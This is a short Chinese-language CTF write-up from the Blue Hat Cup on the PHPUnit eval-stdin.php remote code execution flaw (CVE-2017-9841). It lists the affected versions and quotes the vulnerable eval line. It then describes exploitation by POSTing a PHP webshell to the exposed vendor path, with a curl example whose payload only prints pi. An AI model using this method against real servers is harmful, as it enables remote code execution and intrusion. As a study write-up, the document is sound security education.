本次分享内容为蓝帽杯中web-php的一道题目中的关键漏洞,由于本人技术不够成熟,无法进行完全的复现,还请见谅。
一,漏洞概述:
PHPUnit 是 PHP 程式语言中最常见的单元测试 (unit testing) 框架,通常phpunit使用composer非常流行的PHP依赖管理器进行部署,将会在当前目录创建一个vendor文件夹.phpunit生产环境中仍然安装了它,如果该编写器模块存在于Web可访问目录,则存在远程代码执行漏洞。
二,漏洞版本:
4.8.19 ~ 4.8.27、 5.0.10 ~ 5.6.2
三,原理:
至于原理只能搜集到下列信息,目前使用的phpunit一般为5.7或最新9,10等版本,几乎不存在这个漏洞的可能,要不是题目考到了,都不会知道有这个漏洞。
漏洞位于/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
eval(’?>’.file_get_contents(‘php://input’));
三,漏洞利用方法
访问http://url/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
使用POST方法传递一段以“<?php”开头的木马。
直接POST一句话木马。
例如:
即可远程连接。
或者用curl命令连接传入木马。
例如,执行以下一段代码即可输出pi的值。
curl -XPOST --data “<?php echo(pi());” http://url/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
参考:
https://blog.csdn.net/csacs/article/details/90640601
https://xz.aliyun.com/t/2325
https://www.ovh.com/blog/cve-2017-9841-what-is-it-and-how-do-we-protect-our-customers/